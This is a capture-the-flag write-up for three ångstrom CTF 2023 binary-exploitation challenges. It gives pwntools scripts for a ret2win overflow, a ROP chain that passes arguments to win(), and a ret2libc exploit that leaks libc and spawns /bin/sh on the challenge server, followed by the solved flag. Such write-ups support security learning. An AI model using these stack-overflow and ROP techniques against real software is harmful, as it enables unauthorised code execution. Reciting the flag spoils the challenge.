ångstrom CTF 2023 - gaga (simple rop)

Multipart challenge!
Note all use essentially the same Dockerfile. The flags are split among all three challenges. If you are already a pwn expert, the last challenge has the entire flag.
nc challs.actf.co 31300 gaga0
nc challs.actf.co 31301 gaga1
nc challs.actf.co 31302 gaga2 Dockerfile
Author: JoshDaBosh

  • [219 solves / 70 points]

Actually, I was able to find the flag when I only solved gaga2.

gaga0

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

I can find bof from gets(). And there are win() too. Just simple ret2win.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./gaga0')
p = remote('challs.actf.co', 31300)
e = ELF('./gaga0')

payload = b''
payload += b'A' * (0x40 + 0x8)
payload += p64(0x401236)

p.sendlineafter('input: ',payload)

p.interactive()

gaga1

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

It is same as gaga0 But, This win() needs arguments to call.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./gaga1')
p = remote('challs.actf.co', 31301)
e = ELF('./gaga1')

pop_rdi = 0x4013b3
pop_rsi = 0x4013b1
ret = 0x40101a

payload = b''
payload += b'A' * (0x40 + 0x8)
payload += p64(pop_rdi) + p64(0x1337)
payload += p64(pop_rsi) + p64(0x4141) + p64(0)
payload += p64(ret) + p64(0x401236)

# pause()
p.sendlineafter('input: ',payload)

p.interactive()

gaga2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

The difference between gaga2 and gaga1 is the existence of the win(). But Just do ret2libc.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./gaga2')
p = remote('challs.actf.co', 31302)
e = ELF('./gaga2')
libc = ELF('./libc-2.31.so')

pop_rdi = 0x4012b3
pop_rsi = 0x4013b1
ret = 0x40101a

payload = b''
payload += b'A' * (0x40 + 0x8)
payload += p64(pop_rdi)
payload += p64(e.got['gets'])
payload += p64(ret)
payload += p64(e.plt['puts'])
payload += p64(ret)
payload += p64(e.symbols['main'])

# pause()
p.sendlineafter('input: ',payload)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.symbols['gets']
info('libc base ' + hex(libc.address))

payload = b''
payload += b'A' * (0x40 + 0x8)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret)
payload += p64(libc.symbols['system'])

pause()
p.sendlineafter('input: ',payload)

p.interactive()

Flag

1
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}